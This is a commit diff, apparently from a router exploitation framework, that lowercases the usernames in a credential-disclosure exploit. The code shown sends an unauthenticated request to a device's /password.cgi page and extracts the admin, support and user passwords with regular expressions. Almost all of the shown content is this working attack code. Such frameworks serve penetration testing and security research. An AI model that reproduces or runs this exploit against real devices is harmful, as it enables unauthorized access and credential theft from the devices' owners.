Commit 8c8662ef by Marcin Bury

Usernames lowercase.

parent 3d908c64
......@@ -39,7 +39,7 @@ class Exploit(exploits.Exploit):
creds = []
url = sanitize_url("{}:{}/password.cgi".format(self.target, self.port))
print_status("Requesting for {}".format(url))
# print_status("Requesting for {}".format(url))
response = http_request(method="GET", url=url)
if response is None:
......@@ -47,15 +47,15 @@ class Exploit(exploits.Exploit):
admin = re.findall("pwdAdmin = '(.+?)'", response.text)
if admin:
creds.append(('Admin', admin[0]))
creds.append(('admin', admin[0]))
support = re.findall("pwdSupport = '(.+?)'", response.text)
if support:
creds.append(('Support', support[0]))
creds.append(('support', support[0]))
user = re.findall("pwdUser = '(.+?)'", response.text)
if user:
creds.append(('User', user[0]))
creds.append(('user', user[0]))
if creds:
print_success("Credentials found!")
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment